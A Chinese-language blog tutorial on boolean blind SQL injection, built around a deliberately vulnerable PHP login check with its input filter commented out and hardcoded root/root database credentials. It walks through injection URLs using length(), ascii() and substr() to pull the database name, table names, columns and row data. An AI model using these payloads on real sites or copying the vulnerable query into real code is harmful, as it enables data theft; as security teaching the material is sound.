sql注入-bool盲注

2022-08-30  本文已影响0人  没心没肺最开心

用PHP写的脚本,主要PHP太方便了。。。
index.php文件

<?php
include "help.php";
error_reporting(0);

if($_GET['action'] == '1'){
    // $_GET = help::filter_parmas($_GET );
    $name = $_GET['name'];
    $res = help::get_sql_res("select * from users where name = '{$name}'");
    if($res){
        echo $_GET['name']."你好";
    }else{
        echo "游客你好";
    }
}

help.php文件

class help{
    public static function filter_parmas($val)
    {
        if (is_string($val)) {
            return addslashes($val);
            // return htmlspecialchars(addslashes($val));
        }
        if (is_array($val)) {
            foreach ($val as $k => $v) {
                $val[$k] = help::filter_parmas($v);
            }
            return $val;
        }
        return $val;
    }

    public static function get_sql_res($sql){
        $mysql_conf = array(

            'host'    => '192.168.108.172:3306', 
            'db'      => 'test', 
            'db_user' => 'root', 
            'db_pwd'  => 'root', 
        
            );
        
        $pdo = new PDO("mysql:host=" . $mysql_conf['host'] . ";dbname=" . $mysql_conf['db'], $mysql_conf['db_user'], $mysql_conf['db_pwd']);//创建一个pdo对象
        
        $pdo->exec("set names 'utf8'");
        
        // $sql = "select * from users where name = ?";
        
        $stmt = $pdo->prepare($sql);
        $rs = $stmt->execute();
        if ($rs) {
            // PDO::FETCH_ASSOC 关联数组形式
            // PDO::FETCH_NUM 数字索引数组形式
            while ($row = $stmt->fetchAll(PDO::FETCH_ASSOC)) {
                return $row;
            }
        }
        $pdo = null;//关闭连接
    }
}

1、sql注入

action = 1
正常
http://test.com/?action=1&name=xiaoming
sql注入
http://test.com/?action=1&name=1%27%20OR%20%271%27=%271

盲注简介

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。如本文中index.php中,我们可以看到不管怎么样我们没发改变返回值。这种就是盲注。

主要数据库使用函数:

length() : 返回字符串长度
substr() :截取字符串 (语法:substr(string,start,leng))
ascii() : 返回字符的ascii码(将字符等变为数字)
sleep() : 需要延迟的时间
if(str1,str2,str3) : 判断语句,如果第一个语句正确,就执行第二个,如果错误就执行第三个

bool 盲注

1、查找数据库长度

http://test.com/?action=1&name=xiaoming' and length(database()) = '4

2、通过ascii码,查找数据库名称

http://test.com/?action=1&name=xiaoming' and (ascii(substr(database(),1,1))) = '116
int(116) --t
int(101) --e
int(115) --s
int(116) --t

3、获取表名

http://test.com/?action=1&name=xiaoming' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 16,1),1,1))='117
int(117) --u
int(115) --s
int(101) --e
int(114) --r
int(115) --s

4、获取字段
核心sql:
select column_name from information_schema.columns
where table_schema=database() and table_name='user'

http://test.com/?action=1&name=xiaoming' and ascii(substr((select column_name from information_schema.columns
where table_schema=database() and table_name='user' limit 0,1),1,1)) = '105

int(105) --i

5、查询数据

http://test.com/?action=1&name=xiaoming' and (ascii(substr((select id from users limit 1,1),1,1)))='49

int(49) --1

有空可以自己写个循环脚本试试哈

上一篇下一篇

猜你喜欢

热点阅读